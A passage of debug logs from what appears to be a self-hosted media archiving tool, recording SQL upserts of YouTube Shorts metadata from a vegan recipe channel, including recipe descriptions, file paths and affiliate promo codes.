GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest...", "Whole Food Plant Based Grocery Haul 🛍️🛒", "727e1ad4-69bb-4d43-a619-13a9c2935b4c", 1, [], false, "r5Bv3d4rDAg", "https://www.youtube.com/shorts/r5Bv3d4rDAg", 66, "/downloads/downloads/alec/Steamy Vegan/2024-10-12 Whole Food Plant Based Grocery Haul 🛍️🛒/Whole Food Plant Based Grocery Haul 🛍️🛒 [r5Bv3d4rDAg].NA", false, false, true, 1, ~U[2024-10-12 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "My latest healthy vegan grocery haul to show you all! Mostly high protein, whole food plant based and gluten-free foods for healthy meal prep 😁 \n\nTotal Spent = $130 USD 🇺🇸 / $180 CAD 🇨🇦\n\nCHECK OUT MY FULL 'GROCERY HAULS' PLAYLIST ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\nCHECK OUT MY FULL 'WHAT I EAT IN A DAY PLAYLIST' ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nPROMO CODES & LINKS\n\n*EIGHTBILLION: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code’ STEAMYVEGAN’ at www.eightbillion.com/steamyvegan\n*HONEYCOMB VEGAN-FRIENDLY RESTAURANT FINDER*: https://eat.app.link/steamyvegan\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest...", "Whole Food Plant Based Grocery Haul 🛍️🛒", 1, nil, false, "r5Bv3d4rDAg", "https://www.youtube.com/shorts/r5Bv3d4rDAg", "/downloads/downloads/alec/Steamy Vegan/2024-10-12 Whole Food Plant Based Grocery Haul 🛍️🛒/Whole Food Plant Based Grocery Haul 🛍️🛒 [r5Bv3d4rDAg].NA", true, ~U[2024-10-12 00:00:00Z]] 20:31:09.236 [debug] QUERY OK source="sources" db=1.2ms idle=23.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.238 [debug] QUERY OK source="media_items" db=2.3ms idle=9.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-10-11 00:00:00Z], 1] 20:31:09.240 [debug] QUERY OK source="media_items" db=0.8ms idle=9.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These vegan and gluten free tortillas are super stretchy, soft, and crisp up perfect when you want to throw a burrito in the frying pan. I've been gluten free for 12 years now and have been making this vegan gluten free recipe for over a decade. It's an easy, quick and very effective way to make gluten free tortillas that don't rip. Hope you enjoy it! Check out my breakfast burrito meal prep video to see how I use them all the time.", "Gluten Free Tortilla Recipe 🌯", "5b64ce2d-55bc-44bd-b120-a52069706290", 1, [], false, "NntVMQ0UIsE", "https://www.youtube.com/shorts/NntVMQ0UIsE", 67, "/downloads/downloads/alec/Steamy Vegan/2024-10-11 Gluten Free Tortilla Recipe 🌯/Gluten Free Tortilla Recipe 🌯 [NntVMQ0UIsE].NA", false, false, true, 1, ~U[2024-10-11 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "These vegan and gluten free tortillas are super stretchy, soft, and crisp up perfect when you want to throw a burrito in the frying pan. I've been gluten free for 12 years now and have been making this vegan gluten free recipe for over a decade. It's an easy, quick and very effective way to make gluten free tortillas that don't rip. Hope you enjoy it! Check out my breakfast burrito meal prep video to see how I use them all the time.", "Gluten Free Tortilla Recipe 🌯", 1, nil, false, "NntVMQ0UIsE", "https://www.youtube.com/shorts/NntVMQ0UIsE", "/downloads/downloads/alec/Steamy Vegan/2024-10-11 Gluten Free Tortilla Recipe 🌯/Gluten Free Tortilla Recipe 🌯 [NntVMQ0UIsE].NA", true, ~U[2024-10-11 00:00:00Z]] 20:31:09.241 [debug] QUERY OK source="sources" db=0.7ms idle=7.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.244 [debug] QUERY OK source="media_items" db=2.7ms idle=6.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-10-10 00:00:00Z], 1] 20:31:09.245 [debug] QUERY OK source="media_items" db=1.0ms idle=8.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This greek vegan tzatziki was part of my vegan greek meal prep for the week where I made 7 different greek vegan recipes including: tofu souvlaki, greek lemon potatoes, greek lemon dill rice, greek baked beans, tahini broccoli and cauliflower, and greek salad. Check out all of the recipes below or head over to my channel to see the full meal prep. Enjoy!\n\nGet all the recipes on my blog in this post here! ➡️ https://steamyvegan.com/greek-high-pr...\nThe FREE printable PDF version including all the recipes can be accessed from the blog post! 😉", "Vegan Tzatziki Recipe 🥒", "a59c7cc3-b53f-4094-86e3-b0439d26f933", 1, [], false, "1tzdkf69H5k", "https://www.youtube.com/shorts/1tzdkf69H5k", 68, "/downloads/downloads/alec/Steamy Vegan/2024-10-10 Vegan Tzatziki Recipe 🥒/Vegan Tzatziki Recipe 🥒 [1tzdkf69H5k].NA", false, false, true, 1, ~U[2024-10-10 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "This greek vegan tzatziki was part of my vegan greek meal prep for the week where I made 7 different greek vegan recipes including: tofu souvlaki, greek lemon potatoes, greek lemon dill rice, greek baked beans, tahini broccoli and cauliflower, and greek salad. Check out all of the recipes below or head over to my channel to see the full meal prep. Enjoy!\n\nGet all the recipes on my blog in this post here! ➡️ https://steamyvegan.com/greek-high-pr...\nThe FREE printable PDF version including all the recipes can be accessed from the blog post! 😉", "Vegan Tzatziki Recipe 🥒", 1, nil, false, "1tzdkf69H5k", "https://www.youtube.com/shorts/1tzdkf69H5k", "/downloads/downloads/alec/Steamy Vegan/2024-10-10 Vegan Tzatziki Recipe 🥒/Vegan Tzatziki Recipe 🥒 [1tzdkf69H5k].NA", true, ~U[2024-10-10 00:00:00Z]] 20:31:09.247 [debug] QUERY OK source="sources" db=1.2ms idle=7.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.250 [debug] QUERY OK source="media_items" db=2.6ms idle=7.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-10-09 00:00:00Z], 1] 20:31:09.252 [debug] QUERY OK source="media_items" db=1.3ms idle=9.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Try out this homemade steak spice with your soy curls, ground tofu, or TVP. This recipe tastes just like a New York steak but is a vegan and gluten free recipe.", "Soy Curl Peppercorn Strips 🌱", "6a10995e-d7be-41a5-932e-1e28db2643f8", 1, [], false, "ZJ-M9JvVnt0", "https://www.youtube.com/shorts/ZJ-M9JvVnt0", 69, "/downloads/downloads/alec/Steamy Vegan/2024-10-09 Soy Curl Peppercorn Strips 🌱/Soy Curl Peppercorn Strips 🌱 [ZJ-M9JvVnt0].NA", false, false, true, 2, ~U[2024-10-09 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "Try out this homemade steak spice with your soy curls, ground tofu, or TVP. This recipe tastes just like a New York steak but is a vegan and gluten free recipe.", "Soy Curl Peppercorn Strips 🌱", 1, nil, false, "ZJ-M9JvVnt0", "https://www.youtube.com/shorts/ZJ-M9JvVnt0", "/downloads/downloads/alec/Steamy Vegan/2024-10-09 Soy Curl Peppercorn Strips 🌱/Soy Curl Peppercorn Strips 🌱 [ZJ-M9JvVnt0].NA", true, ~U[2024-10-09 00:00:00Z]] 20:31:09.254 [debug] QUERY OK source="sources" db=1.0ms idle=9.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.256 [debug] QUERY OK source="media_items" db=2.4ms idle=8.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-10-09 00:00:00Z], 1] 20:31:09.258 [debug] QUERY OK source="media_items" db=0.8ms idle=10.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This vegan tofu recipe is super crispy and perfect for your next meal prep for the week or as an easy 20 minute recipe in your air fryer or oven. I make these crispy curried tofu bites all the time and they're a total flavour bomb!", "Crispy Curried Tofu Recipe 🤤", "9e6e9001-13db-4653-a7d6-caebdab108ee", 1, [], false, "ZeXt6JYWnvY", "https://www.youtube.com/shorts/ZeXt6JYWnvY", 70, "/downloads/downloads/alec/Steamy Vegan/2024-10-09 Crispy Curried Tofu Recipe 🤤/Crispy Curried Tofu Recipe 🤤 [ZeXt6JYWnvY].NA", false, false, true, 2, ~U[2024-10-09 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "This vegan tofu recipe is super crispy and perfect for your next meal prep for the week or as an easy 20 minute recipe in your air fryer or oven. I make these crispy curried tofu bites all the time and they're a total flavour bomb!", "Crispy Curried Tofu Recipe 🤤", 1, nil, false, "ZeXt6JYWnvY", "https://www.youtube.com/shorts/ZeXt6JYWnvY", "/downloads/downloads/alec/Steamy Vegan/2024-10-09 Crispy Curried Tofu Recipe 🤤/Crispy Curried Tofu Recipe 🤤 [ZeXt6JYWnvY].NA", true, ~U[2024-10-09 00:00:00Z]] 20:31:09.260 [debug] QUERY OK source="sources" db=1.6ms idle=8.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.263 [debug] QUERY OK source="media_items" db=2.3ms idle=9.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-10-04 00:00:00Z], 1] 20:31:09.266 [debug] QUERY OK source="media_items" db=2.0ms idle=9.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These Greek baked beans were part of my vegan greek meal prep for the week where I made 7 different greek recipes including: tofu souvlaki, greek lemon potatoes, greek lemon dill rice, tahini broccoli and cauliflower, vegan tzatziki, and greek salad. Check out all of the recipes below or head over to my channel to see the full meal prep. Enjoy!\n\nGet all the recipes on my blog in this post here! ➡️ https://steamyvegan.com/greek-high-pr...\nThe FREE printable PDF version including all the recipes can be accessed from the blog post! 😉", "Greek Baked Beans 🫘 Gigantes Plaki Recipe", "1357dcde-6c64-4a97-8530-c459dcc6b5d7", 1, [], false, "vcbFX8trdt8", "https://www.youtube.com/shorts/vcbFX8trdt8", 71, "/downloads/downloads/alec/Steamy Vegan/2024-10-04 Greek Baked Beans 🫘 Gigantes Plaki Recipe/Greek Baked Beans 🫘 Gigantes Plaki Recipe [vcbFX8trdt8].NA", false, false, true, 1, ~U[2024-10-04 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "These Greek baked beans were part of my vegan greek meal prep for the week where I made 7 different greek recipes including: tofu souvlaki, greek lemon potatoes, greek lemon dill rice, tahini broccoli and cauliflower, vegan tzatziki, and greek salad. Check out all of the recipes below or head over to my channel to see the full meal prep. Enjoy!\n\nGet all the recipes on my blog in this post here! ➡️ https://steamyvegan.com/greek-high-pr...\nThe FREE printable PDF version including all the recipes can be accessed from the blog post! 😉", "Greek Baked Beans 🫘 Gigantes Plaki Recipe", 1, nil, false, "vcbFX8trdt8", "https://www.youtube.com/shorts/vcbFX8trdt8", "/downloads/downloads/alec/Steamy Vegan/2024-10-04 Greek Baked Beans 🫘 Gigantes Plaki Recipe/Greek Baked Beans 🫘 Gigantes Plaki Recipe [vcbFX8trdt8].NA", true, ~U[2024-10-04 00:00:00Z]] 20:31:09.267 [debug] QUERY OK source="sources" db=0.6ms idle=10.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.270 [debug] QUERY OK source="media_items" db=2.5ms idle=9.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-10-02 00:00:00Z], 1] 20:31:09.271 [debug] QUERY OK source="media_items" db=0.7ms idle=10.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These greek lemon potatoes were part of my vegan greek meal prep for the week where I made 7 different greek recipes including: tofu souvlaki, greek lemon dill rice, greek baked beans, tahini broccoli and cauliflower, vegan tzatziki, and greek salad. Check out all of the recipes below or head over to my channel to see the full meal prep. Enjoy!\n\nGet all the recipes on my blog in this post here! ➡️ https://steamyvegan.com/greek-high-pr...\nThe FREE printable PDF version including all the recipes can be accessed from the blog post! 😉", "Crispy Greek Lemon Potatoes 🍋 🥔", "f52de4ff-aac7-4489-9f1f-45adacaef64f", 1, [], false, "i1wKAqz3wFs", "https://www.youtube.com/shorts/i1wKAqz3wFs", 72, "/downloads/downloads/alec/Steamy Vegan/2024-10-02 Crispy Greek Lemon Potatoes 🍋 🥔/Crispy Greek Lemon Potatoes 🍋 🥔 [i1wKAqz3wFs].NA", false, false, true, 1, ~U[2024-10-02 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "These greek lemon potatoes were part of my vegan greek meal prep for the week where I made 7 different greek recipes including: tofu souvlaki, greek lemon dill rice, greek baked beans, tahini broccoli and cauliflower, vegan tzatziki, and greek salad. Check out all of the recipes below or head over to my channel to see the full meal prep. Enjoy!\n\nGet all the recipes on my blog in this post here! ➡️ https://steamyvegan.com/greek-high-pr...\nThe FREE printable PDF version including all the recipes can be accessed from the blog post! 😉", "Crispy Greek Lemon Potatoes 🍋 🥔", 1, nil, false, "i1wKAqz3wFs", "https://www.youtube.com/shorts/i1wKAqz3wFs", "/downloads/downloads/alec/Steamy Vegan/2024-10-02 Crispy Greek Lemon Potatoes 🍋 🥔/Crispy Greek Lemon Potatoes 🍋 🥔 [i1wKAqz3wFs].NA", true, ~U[2024-10-02 00:00:00Z]] 20:31:09.272 [debug] QUERY OK source="sources" db=0.7ms idle=8.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.274 [debug] QUERY OK source="media_items" db=1.8ms idle=6.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-10-01 00:00:00Z], 1] 20:31:09.276 [debug] QUERY OK source="media_items" db=1.0ms idle=7.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This greek lemon dill rice was part of my vegan greek meal prep for the week where I made 7 different greek recipes including: tofu souvlaki, greek lemon potatoes, greek baked beans, tahini broccoli and cauliflower, vegan tzatziki, and greek salad. Check out all of the recipes below or head over to my channel to see the full meal prep. Enjoy!\n\nGet all the recipes on my blog in this post here! ➡️ https://steamyvegan.com/greek-high-pr...\nThe FREE printable PDF version including all the recipes can be accessed from the blog post! 😉\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN", "Greek Lemon Dill Rice 🍋 🍚 🤤", "fdfffa10-5004-41ca-8324-a26cd537613b", 1, [], false, "ekGn8fiHGHM", "https://www.youtube.com/shorts/ekGn8fiHGHM", 73, "/downloads/downloads/alec/Steamy Vegan/2024-10-01 Greek Lemon Dill Rice 🍋 🍚 🤤/Greek Lemon Dill Rice 🍋 🍚 🤤 [ekGn8fiHGHM].NA", false, false, true, 1, ~U[2024-10-01 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "This greek lemon dill rice was part of my vegan greek meal prep for the week where I made 7 different greek recipes including: tofu souvlaki, greek lemon potatoes, greek baked beans, tahini broccoli and cauliflower, vegan tzatziki, and greek salad. Check out all of the recipes below or head over to my channel to see the full meal prep. Enjoy!\n\nGet all the recipes on my blog in this post here! ➡️ https://steamyvegan.com/greek-high-pr...\nThe FREE printable PDF version including all the recipes can be accessed from the blog post! 😉\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN", "Greek Lemon Dill Rice 🍋 🍚 🤤", 1, nil, false, "ekGn8fiHGHM", "https://www.youtube.com/shorts/ekGn8fiHGHM", "/downloads/downloads/alec/Steamy Vegan/2024-10-01 Greek Lemon Dill Rice 🍋 🍚 🤤/Greek Lemon Dill Rice 🍋 🍚 🤤 [ekGn8fiHGHM].NA", true, ~U[2024-10-01 00:00:00Z]] 20:31:09.277 [debug] QUERY OK source="sources" db=1.4ms idle=5.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.279 [debug] QUERY OK source="media_items" db=2.0ms idle=6.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-09-29 00:00:00Z], 1] 20:31:09.289 [debug] QUERY OK source="media_items" db=9.0ms idle=7.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This tofu souvlaki is part of an in-depth vegan meal prep I did on the channel. This in-depth high-protein meal prep will take you to garlicky, lemony heaven with these 7 vegan recipes that are all Greek-inspired. We'll be doing tofu souvlaki, Greek lemon rice, crispy Greek lemon potatoes, tzatziki, Greek baked beans, tahini broccoli, and Greek salad.\n\nGet all the recipes on my blog in this post here! ➡️ https://steamyvegan.com/greek-high-pr...\nThe FREE printable PDF version including all the recipes can be accessed from the blog post! 😉\n\n* PROMO CODES/Products I Use*\n*EIGHTBILLION: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code 'STEAMYVEGAN’ at www.eightbillion.com/steamyvegan\n*SANTEVIA WATER FILTERS: My favourite countertop water filtration system! Save 10% off first orders with code STEAMYVEGAN | https://ca.santevia.com/STEAMYVEGAN\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use my code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: 